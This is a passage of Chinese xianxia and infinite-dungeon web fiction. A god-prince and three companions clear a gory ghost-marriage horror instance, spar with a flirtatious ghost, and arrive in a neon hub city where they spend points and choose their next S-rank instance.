乌晏清点了点头“那这廊壁上钉挂的便是被送来冥婚的人。”
“那空着的地方,难道原是上面那变成精怪的七女?”李允道。
“想必是了。”王暮霭点了点头。
“现下这副本又压制她们,到底是意欲何为?”李允呼了口气。
乌晏清看着占满空间的诡异棺材,忽然勾起了嘴角。
“你们觉得,棺材里面要装什么?”
“死人。”王暮霭答。
“还有一个。”
乌晏清话音未落。一个个棺盖忽然莫名掀起,白绸触手般自棺里伸出,向着毫无防备的人们出击。
“是新郎。”
果不其然,绸缎宛若活体,死死缠绕所触碰到的人,一圈一圈蟒蛇缠绕,看似柔顺,却在下一秒将人勒得左右肩相贴,肝肠寸断。
嚎叫声中,血雨降下,淋湿纯白的绸缎。
“不过好懂。”乌晏清向上轻轻一跃便飞起。
乌晏清还穿着那身闭关前的玄裳,一个转身便到达顶部。
“以其人之道,还治其人之身罢了。”
双手掐决,相对而转。
“破。”
随着乌晏清声音响起,百道剑意如万花筒,将六十八条蛛丝全部斩断。
“哎哟!哎哟!”李允看着那蛛茧带着棺材砸下来,握着大刀刚一转身,便看到正在跑的梅双与王暮霭的背影。
孤寡老人罢了。
随着茧蛹的破碎,那棺材中的白绸似是一时间行动迟缓,不少人趁机挣扎出身。
“神仙啊!真的是神仙!”有的人对着乌晏清的身影喊道。
一时间不少人跟着竟都跪地拜了起来。
“神仙!杀了这精怪带我们出去吧!!!!!”
“求神仙救我们!”
乌晏清鼻腔哼气“凭什么?”
众人左右相看,有人喊道“您神勇无双!您法力无边!!!”
李允听了一拍大腿“说什么不好!”
“?”旁边的两个人转过头看着李允。
果不其然,乌晏清双眉微微一皱,要笑不笑地居高临下道“我倒神勇无双,岂用你狗眼来看,求你那法力无边的活菩萨去罢了。”
.......
说话人一噎“......您这是如何用意?”
“听不懂去死。”乌晏清甩袖飞下。
“哎哟我的祖宗啊。”李允擦着双手急忙跑去。
破茧的七头蜘蛛反而像是丧失了战斗力,随着坠落趴在原地,黑色的血液溅了一地。
“信物何在?”乌晏清对着她们道。
“您行行好吧殿下,她们不会说话。”李允走过来双手作揖。
乌晏清顿了一下,随后又道“我替你们斩断那蛛丝,再不交出来连你们姐妹七个一起斩了。”
.......
李允摸着脑袋闭嘴。跑过来的王暮霭梅双甫一靠近听到的便是这般恐吓。
一阵狂风四起,吹得封闭的土楼摇晃不已,棺材内发出怒吼般的嚎叫,绸缎重新乍起攻势,疯狂将众人卷入内里。
奄奄一息的“蜘蛛”忽然立起数十锥腿,猛然向腹部的嘴狠狠刺去。腥臭火辣的味道扑鼻而来,她们仿佛不知疼痛般在口中来回搅动。
终于,咔嚓,一声清脆的响声。
一块沾染着黑色血液的银白色令牌被捧过来。
乌晏清正皱眉,忽然清脆的铃铛声响起。
金色的铃铛从天而降,不断的振动。
“恭喜玩家获得通关信物:玄姝银牌。”
“恭喜玩家第三夜存活,积分奖励已到账。”
旁边几人身边的银铃也纷纷出现。周身环境又闪灭起来。原本瘫倒在地的七头蜘蛛竟化为黑色液体融入土地。又是一阵轰鸣,像要抽干所有空气的真空眩晕感。
最后一刻,所有的绸缎回到棺材,棺盖紧闭。
噗嗤。
空间又陷入黑暗。
再一睁眼,面前便又是一方四小间室。
空气清雅,熏香四溢。柔软的床褥与流光的锦缎。上一秒的血腥杀戮仿佛一场惊恐幻觉。
“算放过她们吗?”王暮霭席地而坐一边修整一边装作无意问道。
乌晏清看了看整洁的床榻坐了上去半卧“何来一说。”
“殿下不是没有杀她们反而放过她们了?”李允道。
梅双看了看几人,沉默地坐到一边。
乌晏清呼了口气“睚眦必报如何,残杀无辜如何,化身怪异又如何。究其根本,这方天地在,冥婚便在,新娘新郎便在。”
“所以您的意思是?”李允召出祥云坐在其上。
“毁了这销血魔窟。”梅双拄着破荧枪道。
乌晏清笑笑没说话。李允又看了看,王暮霭又拿出手帕擦拭那寒光乍现的刀锋。
三人个顶个的跃跃欲试蓄势以待。
李允:就我一个老实人吗?
*
四人在这小室里静静等待。
乌晏清闭眼假寐,忽而一阵风从脖颈后刮过,像是贴耳轻吹的风。亲昵轻浮。
忽然睁开眼,那风便又消散,仿若从未存在。只有壁灯上的烛火焰苗闪烁。
乌晏清不爽,又是那照剟。撩拨把戏。
门口异响,众人纷纷睁眼起身,那陋门又变成了黑漆大门。
乌晏清向前走了几步刚微抬起脚,那门便自己缓缓打开。
“这是听进去了。”李允换上自己最干
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净的金虎甲胄。
乌晏清顺势将脚台进漆黑的结界,穿行。
与上一门外的富丽堂皇纸醉金迷不同。
这一次面前的地域,仿佛将那重重土楼推倒,巨大的漆黄环状穹顶赤壁,一个个纵向排列,又分化多个,一个挨一个地仿佛巨大黑空上打下的密麻深洞。
不断有人穿过结界来到此地,诚惶诚恐着将仅有的占地填满。
夸嚓。
硫黄色灯光自面前的圆形阁楼内亮起,一截丹红的水袖最先映入眼帘,从最高处落下,勾人眼目。接着便是萧笛声共响,环绕下,风铃踏着细碎的音脚闯入其中。
下一秒,戴着黄金嵌珍珠傩具,倒吊着的飞天纤细身影出现在众人眼帘。
“这面具......”李允仔细着眼看了看“不像是寻常可见的傩具。”
“这种时候总不会真的演一出傩戏。”梅双道。
又是鼓,一声鼓响,那身影张开双臂,那赫然不是人的血肉手臂,而是泛着冷光的肢节。
噔噔蹬蹬
节奏的密集让那人身姿步伐迅速加快,只见她下一秒自最顶端狠狠摔下。
膨!
面前的隔间迅速灰暗,相邻的隔间蓦地亮起来。一个面带桃腮眉红,有目无珠面具的身影出现。
头上所戴三层银冠,随着舞动,冠上的流苏晃人眼,转身的一刹那,那脑袋竟囫囵个向背后掉了下来,垂啊垂,面具上画的微笑竟变为哭泣。
“简直是装神弄鬼!”一个身穿月白长衫的男子喊道,拿出怀里的符纸嘴里念念有词,随后那符纸发着光,被男子飞了出去。
那符纸浑身雷电,触碰那阁间后却凭空消失,内里舞动的人影还在继续。
未等那男子为自己找补,忽然间,那男子大叫起来,将旁边的人打飞出去、
“啊!!!!”周围的人大叫着避开,却见那男子举着符咒在原地来回转圈。
“别过来!我不怕你们!!!”
乌晏清看去,那男子双目无神,一看便是被障目魇住了。
“怎么了!他这是!”
“疯了!疯了!”
阁楼上的表演还未中断,舞姬不知疲倦不闻危安地跳着。
“漆黄台,又梳妆,阁楼舞娘泪满裳。朱红墙,双鬓凉,脐下子孙竟满堂。”
“又歌唱,胭脂烫,千金罗裙污名像。梦中郎啊,梦中郎,酒池肉林何时忘。”
六所圆形阁楼如精美吊环,又如奢华屏风,或是女红绣的锦帕。经歌谣来回摇晃,随鼓点变幻阵脚,一时美轮美奂真假难分,再看却森然禁锢,仿佛死也只能死在那地方。
忽然!所有的阁楼全部暗下,空间仿佛陷入无止境的深渊。
接着,那六环阁楼竟漂浮着变换位置相连,而后一个,巨大的、美艳的头颅自最顶端的阁楼出现,一个脑袋竟有阁楼般大。
而其余的阁楼中浮现出她的身体,她的四肢。
啪!整个空间闪亮起来。
乌晏清抬头看去,这里赫然是那鬼城的另一处,空间错乱,房屋交叉。
最中央,浑身铄金的巨大舞女转着圈,她身上所挂皆是琉璃珠宝,随着她的动作光彩旖旎。
周围硕大繁多的曼陀罗风铃也一同不断转着,一眼望去如中了迷药,神识下一秒就堕入云端。
噗嗤!
雪白的刀刃自身体而出变得通红。那人怒红着双眼,将刀再次拔出,疯魔般无数次捅入同胞的身体。
所有人陷入癫狂,拔刀相向,自相残杀。
乌晏清却双目清明,转过头看向另外三人,他们纷纷闭着眼睛,双手死死按住耳朵。
“这招好用吗?”梅双道。
“结没结束啊?”李允喊道。
“听不到。"王暮霭平静回答。
6. 房陵十三钗
三人闭眼捂耳地往那一站,似是全然不怕被人袭击。
“有人袭击我们怎么办?”梅双长枪挽在肘间。
“殿下,您可一定要保护我们啊!”李允吹了吹胡子“我们三个肉体凡胎,简直吹弹可破!”
拿着铁剑的男子冲过来,浑身血污,腹部上的大窟窿还在流血,浑然不觉。
“啊!!!!呃......”
乌晏清皱着眉将人踹飞,又继而转过身拔出王暮霭腰间的长剑,脚步漫荷轻盈点过,剑锋却杀气腾腾擦过靠近的每个脖颈。
终于,很快空中响起鼓声,在舞女忽然顿住的躯体下,周围的人双目恢复清明。
剩下的人只有两种人,一种或负伤或恶心不断而放下手中利器,另一种便是早已死掉的了。
见此,乌晏清终于停下,喘了口气,随后一把拍掉了李允捂耳朵的胳膊,抬起脚踢他小腿“唤我做事,肉体凡胎,吹弹可破。”
李允挨着三下,将旁边两人叫醒。
“好了好了,这殿下啊,就是靠谱。”李允抱着肚子中气十足地哈哈大笑。
这浑厚的声音在这片血污场地里格格不入,不少劫后余生的人都看过来。乌晏清歪了歪头,微微闭眼“滚.......”
乌晏清将破风剑插回王暮霭腰间,看着最中央那停下后便一动不动的巨大金色舞女“这是歇下了,当真闲暇。”
“殿下,没想到王兄这长剑你竟用着如此流顺。”李允道。
“那时也一样,她们似防卫关卡,只排除筛漏。”王暮霭道“此剑由家师亲自打造,现......或已离世。”
“兵器有灵,和缘当真不易。”梅双挽着破荧枪“此间当是局,但我们四个竟不知一点风声,布局之人何其大能?”
乌晏清对上李允那双棕眸,历年的风霜让其收敛锋芒,但依旧锋利得明晃晃。
“世间刀剑,无我所不能驭,便是用你那把卷刃刀也能斩你脑袋如切菜。”
“若非算计,我便是当节目看你们一个个死在这拍手叫好。”
“嗐,当然不敢质疑殿下,末将僭越了。”李允作揖歉道。
上下两重天谁人不知乌晏清无神力,没法唤醒神器,而凡间兵铁每次在他手里不出两日便碎了。
也是难怪。乌晏清不是与方天画戟过招,就是与那镇海杵切磋。要劈就劈那神仙金银殿,就连织云桥也被他借试剑的由头劈过。更有的略开灵智的兵器刚被乌晏清握住,就主动散了灵,器身碎裂。
而后这位太子爷没等别人献器献烦了,自己便先恼了,将自己关进殿宇。
再出来,便赤手挥得出剑意,再也无需什么劳什子神器兵器了。
乌晏清鼻腔哼气,瞪了一眼。
身边的王暮霭和梅双不知道,李允却看得清楚,先前那招镇压,分明有了丝神力动摇之势。
咚,咚咚。
黄金链宛若衣袖一般起伏,翩若惊鸿。随着动作,摩擦刺耳的声音不断响起,像年久失修马上报废的车马。
坚硬的皮肤膨胀着柔软,不断的凸起突现。和那七头蜘蛛出现时一样。
众人见状蓄势以待,然而下一秒,那舞女身上竟出现了多个凸起,腹、肩
脊、腿、臂。
砰,砰,砰。那是肿瘤里发出的声音,啪嚓。
内里溃烂流脓的柿舌被脆弱透明的皮包裹着,只需要一踩,噗呲。
啼哭着从巨大的黄金舞女身体爬出,漆黑的液体喷洒遍地,血肉脐带与他们紧紧相连,牵肠挂肚。
眼目紧紧闭起,没有舌头牙齿的口大张着,舞女的腹部还在不断隆起,野树杈形状的红紫色纹路爬满全身。她张开双手舒展整个身躯,肥肉蠕动而起,动人的面庞瞬间溃败。
所有的孩子托着长长的脐带,四肢攀爬着冲向众人。
乌晏清飞身冲向最上方,眉边烫得发痛。刚一抬手,面前忽然出现裂缝,撕裂时空。未等乌晏清刹车,一只手自里伸出,死死拽住乌晏清手腕,一把将他拽进裂缝。
“殿下!”李允振刀间隙抬头看见乌晏清被不知名的东西一口吞了下去。
三人没有喘息空隙,只好再次专注于手中兵器的挥动。
面前白色丝绸飞舞,乌晏清只感觉手腕上那只手冰凉。李允的呼喊声远去,面前的人一身白色大氅如丧服,卷曲的长发散在脑后,眉目黯淡颜色。乌晏清一瞬间便认出了面前的人是照剟。他被照剟拽出了鬼城,穿梭到了土楼。
乌晏清微微抬头看着面前这个忽然出现将他从另一个空间抢夺出来的人,乌晏清只觉得不喜欢现在他看照剟的角度。
乌晏清抬起没有被握住的右手攻去,角度比起他以往的刁钻打人姿势好得不是一星半点,或者可以说是破绽百出。
然而这样拙劣的招式却打了个实实在在。
啪,本来砍向脖颈的手刀因为照剟的毫不闪躲变成了一个清脆的巴掌。
照剟青白的脸颊蓦然红了一片,细细看还有分明的指印。
......乌晏清握了握右手,刚想开口讽刺,便听见照剟的一声嗤笑。
照剟左手摸了摸脸颊,紧紧握着的右手松开,转而拖起乌晏清的手掌,乌晏清就这样由仰视变成了俯视。
乌晏清要被照剟笑得寒毛乍起,将手收回“你又作甚。”
照剟却不回答,问道“你是为了我才走到这里的吗?”
“滚。”乌晏清双唇一张干脆道。
“那就是了。”照剟笑得眯了眯眼睛。
乌晏清鼻腔哼声甩了甩衣袖“这副本便是你猖狂的资本?不堪入目罢了,你如何找到我的。”
照剟忽然倾身靠近,未等乌晏清反应右手指尖放在乌晏清心口的位置。
“这里,有留下的标记。”
“无论你在哪里我都能找到你。”
乌晏清想起那穿心的绸,没想到便是这样的把戏在他的心口留下了标记。
挥开照剟的手,乌晏清看着他皱眉道“异变究竟是什么,你既将手伸向两重天,又何来现在这一出。”
照剟又笑了,这一次倒是“正常”许多“你为什么认为我会告诉你?凭你为神?仗你好看?还是,觉得我一定会偏心于你?”
还是有病,病入膏肓,药石无医。
乌晏清一脚踢向照剟,这一次照剟倒是老老实实躲了过去,然而整个人却不老实地凑近乌晏清,绸布缠上乌晏清的脚踝。
“世界早已改变,神也会面临淘汰。”照剟直勾勾看着乌晏清道。
“就如现在你们陷入这座泥潭。”
乌晏清震碎白绸,剑意向照剟劈去“早已改变...尔等妄想称神,不过一个个虚假空间的人造神罢了。”
白绸坚硬成盾抵挡照剟身前,交锋声音乍响,剑意被避重就轻地弹向它处。继而又化成箭矢向乌晏清射来。“无人何来神,就如你我。”
“哼。”乌晏清二指抵过箭锋,抓着固化的白绸将其它的箭砍得四分五裂。“杀你压你便是为我,非为神。就其位,纵其德。”随后放手,一脚将那箭踢回照剟,其破空形气旋。
箭矢势如破竹,却在照剟面前软绵绵的变为绸缎飘落而下。“然而有你这般想法的天生神少之又少,不过也正是因此,我才为你如痴如醉。”
“我看你死后在地府没少读些邪书,一张嘴便是浪词淫调。”乌晏清道。
照剟闭着眼笑了笑,随后又看向乌晏清“那三人快来了,想必下次约会要隔很久。”
“见你为此烦恼,真是我见犹怜。”照剟踩着白绸走近“每一个厄难成为副本阵眼,消灭或拔除,就可通关。”
果不其然,土楼忽然颤动起来,烛火不断变换颜色闪烁。
“当然,捣毁副本,也是通关方式之一。”照剟继续靠近。
“真想亲眼看看你见到那世界的模样。”
气息交缠,照剟那双黑渊一样的瞳孔就那样只能映出乌晏清地靠近着。
砰!头顶传来巨响,土楼顶被砸
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开大洞。乌晏清未等抬头,照剟已然化作一阵风从他面前刮过,只留下几捋破裂的绸布碎片。
“殿下!”李允右手还握着刀,甲胄上黑色的液体滴滴落下,架着祥云飞下。
王暮霭和梅双则更随性,一个随处插着长枪做踏板而滑下,顺便手上行了个军礼,另一个则是身骨柔软,如走平地般毫无坠力地绕土壁跑下。
剩余的人则是连滚带爬用尽手段从楼顶落下,落地后又缩在一边不敢上前。
太彪悍了.......
那三人,独独三人!竟杀穿了所有怪物!
那场景,场景,犹历历在目。
一刻钟前。
“这是如何?”梅双看了看在半空被拖走的乌晏清。
“不妙。”王暮霭道。
“这鬼地方惯会看人下菜碟。”李允道“打得将殿下掳走好让我们困死在这的注意。”
三人落于三处,各自为点。
“形势险峻,不易久拖。”王暮霭道。
“被小瞧了啊。”梅双勾起嘴角,脚跟踢起破荧枪,旋转一周后猛然握住“那便,速战速决。”
轰!火焰凭空拔地而出。破荧枪通体闪烁火光,梅双长发飞扬,双眼与红色戎装一般发亮。左腿前曲,蓄势后宛若火星爆炸式降落怪物中央,踩着烈火与碎石,一出手便是一穿七。
怪物受创,舞女再次加倍诞出新的怪物。冲着梅双蜂拥而上。梅双却毫不回头,在怪物将要触碰到她时,霎时六道寒芒将其一片分割离兮,根本无法看清何人。
一道黑影如魑魅,所过无影,到达下处时彼处锋芒才现。
王暮霭斗笠分毫未晃,黑色劲装下紧绷呼吸的骨肉若隐若现,他双臂双手交叉于胸前,破风长剑下交叠的,是一把通体黑色的短刀,下一刻,只来得及看清两刃间反映出的凌厉双眼。
李允在原地跺了跺脚,眼睛来回晃动,竟捕捉了那抹黑色身影。而后左手向后一召“祥虎!”
自乾坤袋中祥云翻出,一转身便化成一只巨大金虎,长而大的獠牙下虎口张开,一声吼叫。李允翻身骑上,一人一兽竟默契无间于先锋位置杀敌,所向披靡之势。
三人直捣黄龙。
没等回过神,缩在一边的人便看见那三人将得到的信物递给了另一个人......
乌晏清将两个信物合在一起,果不其然瞬间发出白光,所有倒挂的尸体化成幽蓝色的魂魄,在最中央团聚。
不久,一架大鼓出现,它无人敲打便一次次地响着。乌晏清上前,狠狠一踹,打鼓被踹开,最中央的鼓面却破裂,一个蜷缩着沉睡的小女孩从中显现。
“果然没死!”李允抬头道。
乌晏清没说话,勾了勾嘴角,从胸前的里襟里拿出一个金色铃铛。
金色铃铛响动,于女孩额头印记呼应,下一秒女孩睁开双眼,主动飞出大鼓,触碰铃铛后又消失不见。
“当真???”梅双左右看了看,没看见小女孩的踪迹。
乌晏清收回铃铛,抓起大鼓,向上一抛,随后双手不断掐决。
“剑意,千山鸟。”
刺眼的白色光芒让所有人闭上了双眼,紧接着眯着眼的几人看到白鸟的身影飞翔开来,所到之处百斩千折。
乌晏清又看了看这铃铛,想起那照剟将铃铛掖进他前襟后就急忙消失逃走的身影。
【获得信物,获得厄难之主,摧毁副本心脏,摧毁副本】
【已为您翻倍积分】
【房陵山下有一荒村,曾为保村中气运,每中元活祭一位少女冥婚,顺着拔去其舌,逆者砍去双腿或双臂,后因女眷不足改献男子。又因钱财,出卖女子为歌舞官妓,每有孕便杖堕,其中一婴胎化为鬼胎复生。在鬼胎统领下,十三位少女怨鬼合为二体,一夜屠村,无人生还。】
【恭喜玩家通关D级多人选拔副本:房陵十三钗】
【欢迎各位玩家的加入,游戏的原则为:众生平等】
【你要结婚吗?】
7. 霓虹紫禁城
泥泞被一把清水冲下,环绕着双眼,所有的景象融化离析。
“真想亲眼看看你见到那世界的模样。”照剟那模样,乌晏清又想起。
光芒乍现,豁然开朗。
鸣声由远及近,逐渐清晰,渐渐刺耳,一声强一声弱反复着。
啪嗒,几人轻轻落在黝黑色粘稠又滚热的地上。
抬起头,雕栏玉砌犹在,直指穹霄连蔽日。霓虹嵌进每一处屋檐,勾栏瓦舍,光怪陆离。
膨胀透明的河豚鱼在空中飞行,鹰首人身的行客坐在一边梳理钢铁羽毛。多的是奇形怪状的东西来回过马路。
然而如此紧密的占地,却没有遮挡最中央那东西的一分一毫。
那是一个巨大的光柱,不断闪烁,一会蓝得发黑,一会又蓝得发白。直上直下,高低不见尽头。
没有白云,没有蓝天,没有日月,只有一片虚无缥缈的荧账。混乱又来去匆匆的十字街口善恶形同虚设。
这里是垂朽的不夜天,赌徒的销金窟,是磕叩信徒的殿堂。
永不落幕。
响着鸣笛的一盏油纸哭脸灯飘过来了,又自己刹车停住,灭下红蓝闪烁的灯芯。下一秒抽条着,竟变成了一位面若桃花的小生。
“欢迎尊贵的玩家。”小生穿着最普通的麻布衣裳,两颊的胭脂抹得唱戏一般红,弯下腰时咯吱作响听着让人牙酸。
乌晏清看了看,将脸转向另一边,看那空中来回成线相交的朦胧灯光。梅双挠了挠
头,发现枪尖竟然破损了豆子大的裂痕。王暮霭一动不动,斗笠遮脸看不出个颜色。
“你是?”李允主动走上前开口道。
小生未抬起头,就着弯腰的姿势侧过身伸出右手做出“请”,随后慢慢走起来。
“小人是您各位的领路人,为您介绍游戏规则~”
说着,右侧两位兄台忽然打了起来,仔细看着一位有着条假腿,另一位又是有双假眼。二人打得不可开交,粘稠的血洒了一地。
在几人看过去的视线里,小生见怪不怪道“各位初来此地,尚有三日的新手保护期,不会受到其他打扰。”
乌晏清眼尖看到那二人所争抢的东西,正是一个银色铃铛“他们争什么。”
“是您各位储存积分的铃铛,积分只能通过副本积累。”
梅双道“积分有何用处?”
小生笑了,那本就窄小的眼睛眯成一条缝“积分,可以换取您想要的一切。”
乌晏清斜睨道“和梨渊通灵。”
小生又弯下了腰“在这里的神仙,您想与哪位通灵都可,若是不在这里的,恐是不能了。”
“那不还是困于这方了。”梅双抱着脑袋。
“离开这需要多少积分?”王暮霭说话了。
小生伸出一根食指,指了指那道光柱“您们的积分累加多到可以走到那最上面的时候。”
“那还真是深不见底。”李允摸了摸胡子。
小生踹开滚来的伤患道“不同级别的副本给予的积分也不同,最高级别的S级副本积分最多,想必各位无需多少时间便可以从这走出去了。”
“那......我们不想参加副本呢?”李允道。
“三日后您会被强制进入随机副本。”小生身子向前脑袋向后地边走边说“小人会在第三天提醒各位挑选副本。”
乌晏清全然无视一路上的牛鬼蛇神。又忽然停下脚步,在众目睽睽下开口道“现在,我的积分,要换衣裳。”
梅双闻了闻衣袖也道“是该换了。”
小生双手作揖低下了头,不知是什么咒语,几人只能看到小生宽大的袖管下起起伏伏。
小生再一抬头,一座八角八层琉璃殿凭空出现在众人眼前,门上悬着一块无字门匾。
“这便是各位歇脚采买的地方了。”小生说着双手甩着袖子捂住了嘴,像是在笑“这匾上,很久以前便是有字的,后来,被人给抹去罢了。”
“哦?这里的主人?”李允问道。
“当然不。”小生又放下了手,重新低下了头“想必和各位一样,是玩家。”随后又道
“小生不便进入,且在门外恭候各位了。”
说着小生周身浮起雾气,慢慢消散在几人眼前。
“来去如风啊。”李允抱了抱肚子。
乌晏清未做声,轻轻飘进了殿门。李允走在最后,看着与周遭和谐一派的乌晏清,内心咂嘴,这大祖宗在天上的时候就是最各色的,要是在这劳什子地方呆惯了可怎么是好?
乌晏清余光带到李允的一脸愁云上,也料得李允在想些什么。一过门槛,霎时金灿灿的的螺旋店铺映入眼帘。
叫卖吆喝声不断,倘若不仔细看那一个个人面若皮具的种种怪异,这里倒是胜人间烟火气,比天界还轻逸飘渺。
李允的担忧倒是不无道理。乌晏清慢悠悠晃着,眼神从一个个摊铺上扫过。多得是稀奇玩意,以往来,他断断是不被允许到人界的。
“神无欲才无求,无情方无私,惯不能入红尘。”梨渊还未继位时便用此话术,以师兄辈分管制着乌晏清。
“哪怕一次?”
“哪怕一次。”
“哪怕一眼?”
“哪怕一眼。”
一片黑色落在眼里,乌晏清停下,飞了过去。
“哎哟~面生啊客官~”脑袋上的朱钗给头发插成了针线团。
吊着嗓子的男老板靠过来,左右手互相擦搡“客官这般气质,当真只有小店这压箱底的衣裳能配得上了。”
乌晏清伸手指过去“这个。”
“哎哟客官您当真眼光毒辣~这可是上好的浮光锦,市面上都是些杂染的,独咱家这个,是玄色的,这光一照啊,那才是鸦羽流彩呢~”
李允在旁边听着这自卖自夸的说套抱着双臂略有不耐。转头看见王暮霭最先买了一篮子烧鸡烧酒,嘴里还塞着大肉包。没等回过神,又被梅双锃亮的枪尖晃了下。
梅双听着胸脯咧嘴道“如此保养,破荧变娇荧啊,李大哥,你也可试试!”
乌晏清哧了口气,又指了指“我要了,怎么买。”
老板脸上笑开了花,这中看不中穿的衣裳可算是卖出去了。拿过一边的八卦镜“您将手放上,自己便扣减积分了。”
乌晏清伸出右手,掌心向上,动也不动,理直气壮的模样让老板只好拿着八卦镜倒着对准他手心。
乌晏清一错不错地盯,八卦镜滋滋响了下,老板收起八卦镜“如此便好了~客官您买的衣裳会收进您的铃铛里,待回去时,您便可随时更换了。”
乌晏清并未作声,只是微点了点头,又转身继续闲逛。
没等飞出几步,一个黑色的身影不知从哪个死角老鼠一样窜了出来。
扑通!是个穿着黑麻布衣裳的男子,死死跪在乌晏清面前,挡住了去路。
“何人!”李允握着刀柄上前护道。
乌晏清低下眼,听那人叩首逼问道“敢问哪位神仙!”
“大胆!”李允继续道“速速退去!”
那人分毫未动,只继续喊道“敢问哪位神仙!”
人头攒动,像是对这类情形习以为常,如此的声响也没能让一两个驻足。
乌晏清轻轻抬手,李允才收了刀退后。
“非仙。”乌晏清感觉自己貌似说了很多遍,人的见识果真少。
那人似是被如此回答噎住,半晌没有声音,而后又弱弱问道“那......敢问您是,神?”
磨磨唧唧拖拖拉拉,让乌晏清眼色不虞“拦我的路,灭全家。”
那人身形一缩,随后口吐连珠“草民生于里泽,一片山清水秀村落,家里一妻一子,衣食简朴,为人行善,逢战乱殃及,生时每日供奉文曲览由真君,一日未耽!然,一家老小终枉死庙前!天道不公!”
“所求如何。”梅双王暮霭站在后面静静听着乌晏清道。
那人猛然抬起头,双目欲裂,未看清面前时话已出口“求公道!求正法!......”
男人对上乌晏清那双绝情的眼睛和眉上那道悲悯的红痕,话语又硬生生止住。
乌晏清见那人不再说话,没理,重新转了个方向,飞走了。
“哎哟客官,可是不兴理睬。”衣店老板跟了上来。
“仗着这不能用法的地界儿,可多得是人提前埋伏,逮着人就问是不是神仙,倘若是,便偷袭去要了命了。”
“哦?为何?”梅双问道。
老板停下了脚步,要回身重新去经营铺子,只道了句“恨啊怨啊。”
几人回过头,果不其然,那男人臂下藏着一把冷闪闪的刀。
“殿下......”李允道。
乌晏清未回头“怎。”
“战事本无常,若真痴人,便是拔刀冲杀,而非拔腿而跑。”梅双摇了摇头。
“想活总是先于想念的。”王暮霭将篮子吃得几近空荡。
“.......无事。”李允刚低下头,就听见乌晏清嗤笑了一声。
乌晏清眉眼略弯,一副好心情的样子“览由那劳命模样,斯是文曲被当武曲用了。”
“览由真君确是忙碌......”李允道。
“呵,不过武曲赤面獠牙丑陋吓人罢了。”乌晏清道。
“天意难猜。”李允摸了摸胡子。
“庸人自扰。”乌晏清道。
几人晃悠到最顶端,一个蓝衣红帽的童子雕像矗立在一道门前。
乌晏清刚刚上前,那雕像诧然活了过来,翘着辫子从肚子里拿出一个八卦镜。
乌晏清又伸出手,那小童从几丈高的阶台上蹦下,倒举着卦镜扫过乌晏清手掌。
“天字一号!天子一号!天字一号!”小童不断喊着。
面前金门上的发光字来回变幻,最后变成了天。大门随之缓缓打开。
乌晏清没回头地走了进去,那门又暗下来关闭了。
李允继而伸出了手,等了又等,那小童却始终没有反应。不信邪的李允将手又放着了卦镜上,滋滋,大门动了起来。
.......
“行,兄弟几个,后见!”李允爽朗地笑了笑,进了门。
地字三三三三六号。
*
神仙睡不睡觉。这是亘古不磨的好奇。
别神不知道,乌晏清倒是喜欢。
这间室俯瞰整个区域,琉璃大窗甚和乌晏清心意,连榻上也铺了一层东西,柔软可佳。乌晏清从前襟掏出金色的铃铛,看了一下,然后晃了晃。
那件玄色的浮光锦出现在手上。
乌晏清脱掉身上的羽衣扔了,又一扇,浮光锦自己套在乌晏清身上慢慢穿好,从头到尾的涤决让乌晏清觉得
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自己干净不少。
卧在贵妃榻上,乌晏清闭着眼睡了过去。
*
直到被一阵撩拨弄醒,乌晏清睁开眼,看见面前一段白绸一下又一下地摸他的脸。
啪。被乌晏清扇到一边。
“阴魂不散。”
一声轻笑,白绸末端被苍白的手抓住,扔到一边,继而那手勾上乌晏清身后的长发。
“一开始便知道我的存在不是么。”照剟身形半虚,飘浮在乌晏清身后,白绸自榻顶条条坠下。
“懒得理。”乌晏清闭了闭眼“作甚。”
照剟捋着那抹长发道“你看了这个世界,可喜欢?”
“无趣至极。”
“至高的评价。”
“我知晓你想继续。”照剟吹起的阴风刮过乌晏清脖颈“他们都有窝藏的秘密。”
照剟匍匐到乌晏清面前“此时此刻,他们都在暗想如何走下去,直面自己的欲望。”
“这里是你的欲望?”乌晏清不为所动地看着照剟。
照剟卷曲的头发随着他的晃动乱跳着,本是硬朗的眉眼却在此刻鬼艳“你忘了自己的秘密,不是吗。”
啪,榻边的烛台惨烈倒塌,照剟翻滚着飘出几丈。
“一丝魂魄倒是猖狂。”乌晏清睁开双眼,全身未动,怒而视之。
照剟转身站起,身上还穿着那身丧囍服“你若不进副本,怎么见识到自己被一丝魂魄千刀万剐。”
照剟慢吞吞地咬着字,硬生生将这该死的成语念得粘稠。
二人眸光相切,乌晏清勾起唇角讽道“你要先学会狗是如何摇尾乞怜。”
砰。幽魂被乌晏清打散,白绸缩回乌晏清前襟。
*
李允给自己置办了一身明黄劲装,和他祥云配得很。说是选副本,结果一出门就瞬间到了这地方。
坐在真皮沙发(那小生同他道的)上和梅双王暮霭唠了许久,才看到过来的乌晏清。
乌晏清甫一出现,方圆几里的目光便都粘在了他身上。凭身便可飞翔,这可是此间第一人。忌惮的同时,也不妨碍欣赏一下其人的绰约风姿,在被灭前偷看一眼那勾人眉眼,看一眼便得一眼。
然而乌晏清只黑着脸,问道“怎的还不选?”
李允苦哈哈道“殿下,我们三人只能选A级副本,跟您组队才能选S级副本。”
梅双和王暮霭双双起身抱拳。
乌晏清坐到不知道叫什么的地方上,拿过一边不知道是什么东西送过来的盏,喝了口清茶才顺了被照剟惹出来的不爽。
“那便组。”乌晏清道。
“您不嫌介,当真荣幸。”梅双道。
“?”乌晏清看了看梅双,又看向李允。
这是哪门子恭维?
李允被看得一头雾水,又立马独自想开。更倾向这是一种赞赏的目光。不枉他话费好几盏茶的功夫将殿下的神勇无双匹敌天地的事迹说了个遍,立足了殿下威武高大的光辉形象。
那小生又出现了,躬着道“尊敬的玩家,副本的级别越高,侵蚀化程度越高,是否要开启第一个副本的保护模式?会为您筛选侵蚀程度较低的副本。”
乌晏清没抬头,一副随便都可以的姿态。李允三人互相看了看。
“不用!”梅双一拍李允肩膀“什么大场面没见过了。”
是了,在乌晏清睡大觉期间,三人已经仗着新手保护期给这地界逛了个提溜圆。
“是的。”小生低下头,又开始嘟囔。
“等一下等一下!还没到三天!还没到!”一个人影连滚带爬地拽住小生的裤腿。
打眼看去,正是前两天拦路那位。
乌晏清这才抬起头,看向这诺达的大厅里,不少人正轻声啜泣,瑟瑟发抖。
刷!最中央的方正盒子发出光亮。
“殿下,这叫电视机。”李允在一旁道。
乌晏清看着面前一个个亮起的电视,放下了茶杯。
“已为您刷新三个S级生存副本。”小生让三人看向最上方的三个电视机。
【S级副本:雾竹公交】
【S级副本:山村来电】
【S级副本:颠倒大厦】
“嗯......”李允摸着胡子“选哪一个好呢?”
